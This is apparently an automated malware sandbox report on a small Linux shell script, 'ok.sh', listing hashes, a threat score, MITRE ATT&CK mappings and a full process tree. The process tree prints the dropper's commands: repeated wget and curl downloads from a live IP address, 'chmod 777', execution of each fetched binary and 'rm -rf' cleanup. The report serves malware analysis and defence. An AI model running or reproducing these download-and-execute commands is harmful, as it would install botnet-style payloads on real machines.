28c5cccd904a42f5393074833568646c27b33aec0513e1c5a4b83e92d9bc8a57

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 20:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260809-zcltjacd44
SHA256 28c5cccd904a42f5393074833568646c27b33aec0513e1c5a4b83e92d9bc8a57
MD5 e0e51f30e117070ecf63c727598b0f14
SHA1 03c22e63a5a67d26015c464e15a02aa1e23fee88
SHA512 e808ecdd432ef8582e2568e17368bd05d4512271af189ed3754ebbd6c6afac2bb6f5ada70abe45a6c5403c68ad93e7edf749065364c2d577a9575435220f6c1f
TLSH
T12C31419A01105A311103CA4F33B63288B35DF1FB685FD7E1DD890E9A968839CF225F5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
795	chmod
809	chmod
816	chmod
695	chmod
744	chmod
777	chmod
802	chmod
823	chmod
671	chmod
678	chmod
724	chmod
751	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/9c504a	672	ok.sh
/tmp/ef75b2	679	ok.sh
/tmp/41cb7b	696	ok.sh
/tmp/0aed7d	725	ok.sh
/tmp/10d086	745	ok.sh
/tmp/42736b	752	ok.sh
/tmp/660bc9	779	ok.sh
/tmp/78dbc7	796	ok.sh
/tmp/7b2025	803	ok.sh
/tmp/e67edd	810	ok.sh
/tmp/f6d64f	817	ok.sh
/tmp/1d4271	824	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7b2025	curl
File opened for modification	/tmp/e67edd	curl
File opened for modification	/tmp/1d4271	curl
File opened for modification	/tmp/9c504a	curl
File opened for modification	/tmp/41cb7b	curl
File opened for modification	/tmp/42736b	curl
File opened for modification	/tmp/660bc9	curl
File opened for modification	/tmp/f6d64f	curl
File opened for modification	/tmp/ef75b2	curl
File opened for modification	/tmp/0aed7d	curl
File opened for modification	/tmp/10d086	curl
File opened for modification	/tmp/78dbc7	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://5.182.210.174/9c504a
  2⤵
  PID:647
- /usr/bin/curl
  curl -O http://5.182.210.174/9c504a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/chmod
  chmod 777 9c504a
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/9c504a
  ./9c504a bc
  2⤵
  PID:672
- /bin/rm
  rm -rf 9c504a
  2⤵
  PID:674
- /bin/rm
  rm -rf 9c504a.1
  2⤵
  PID:675
- /usr/bin/wget
  wget http://5.182.210.174/ef75b2
  2⤵
  PID:676
- /usr/bin/curl
  curl -O http://5.182.210.174/ef75b2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 ef75b2
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/ef75b2
  ./ef75b2 bc
  2⤵
  PID:679
- /bin/rm
  rm -rf ef75b2
  2⤵
  PID:681
- /bin/rm
  rm -rf ef75b2.1
  2⤵
  PID:682
- /usr/bin/wget
  wget http://5.182.210.174/41cb7b
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://5.182.210.174/41cb7b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 41cb7b
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/41cb7b
  ./41cb7b bc
  2⤵
  PID:696
- /bin/rm
  rm -rf 41cb7b
  2⤵
  PID:699
- /bin/rm
  rm -rf 41cb7b.1
  2⤵
  PID:701
- /usr/bin/wget
  wget http://5.182.210.174/0aed7d
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://5.182.210.174/0aed7d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod 777 0aed7d
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/0aed7d
  ./0aed7d bc
  2⤵
  PID:725
- /bin/rm
  rm -rf 0aed7d
  2⤵
  PID:727
- /bin/rm
  rm -rf 0aed7d.1
  2⤵
  PID:729
- /usr/bin/wget
  wget http://5.182.210.174/10d086
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://5.182.210.174/10d086
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 10d086
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/10d086
  ./10d086 bc
  2⤵
  PID:745
- /bin/rm
  rm -rf 10d086
  2⤵
  PID:747
- /bin/rm
  rm -rf 10d086.1
  2⤵
  PID:748
- /usr/bin/wget
  wget http://5.182.210.174/42736b
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://5.182.210.174/42736b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 42736b
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/42736b
  ./42736b bc
  2⤵
  PID:752
- /bin/rm
  rm -rf 42736b
  2⤵
  PID:754
- /bin/rm
  rm -rf 42736b.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.174/660bc9
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.182.210.174/660bc9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 660bc9
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/660bc9
  ./660bc9 bc
  2⤵
  PID:779
- /bin/rm
  rm -rf 660bc9
  2⤵
  PID:781
- /bin/rm
  rm -rf 660bc9.1
  2⤵
  PID:783
- /usr/bin/wget
  wget http://5.182.210.174/78dbc7
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://5.182.210.174/78dbc7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 78dbc7
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/78dbc7
  ./78dbc7 bc
  2⤵
  PID:796
- /bin/rm
  rm -rf 78dbc7
  2⤵
  PID:798
- /bin/rm
  rm -rf 78dbc7.1
  2⤵
  PID:799
- /usr/bin/wget
  wget http://5.182.210.174/7b2025
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://5.182.210.174/7b2025
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 7b2025
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/7b2025
  ./7b2025 bc
  2⤵
  PID:803
- /bin/rm
  rm -rf 7b2025
  2⤵
  PID:805
- /bin/rm
  rm -rf 7b2025.1
  2⤵
  PID:806
- /usr/bin/wget
  wget http://5.182.210.174/e67edd
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://5.182.210.174/e67edd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 e67edd
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/e67edd
  ./e67edd bc
  2⤵
  PID:810
- /bin/rm
  rm -rf e67edd
  2⤵
  PID:812
- /bin/rm
  rm -rf e67edd.1
  2⤵
  PID:813
- /usr/bin/wget
  wget http://5.182.210.174/f6d64f
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://5.182.210.174/f6d64f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 f6d64f
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/f6d64f
  ./f6d64f bc
  2⤵
  PID:817
- /bin/rm
  rm -rf f6d64f
  2⤵
  PID:819
- /bin/rm
  rm -rf f6d64f.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/1d4271
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://5.182.210.174/1d4271
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 1d4271
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/1d4271
  ./1d4271 bc
  2⤵
  PID:824
- /bin/rm
  rm -rf 1d4271
  2⤵
  PID:826
- /bin/rm
  rm -rf 1d4271.1
  2⤵
  PID:827

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9c504a

Path /tmp/9c504a
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads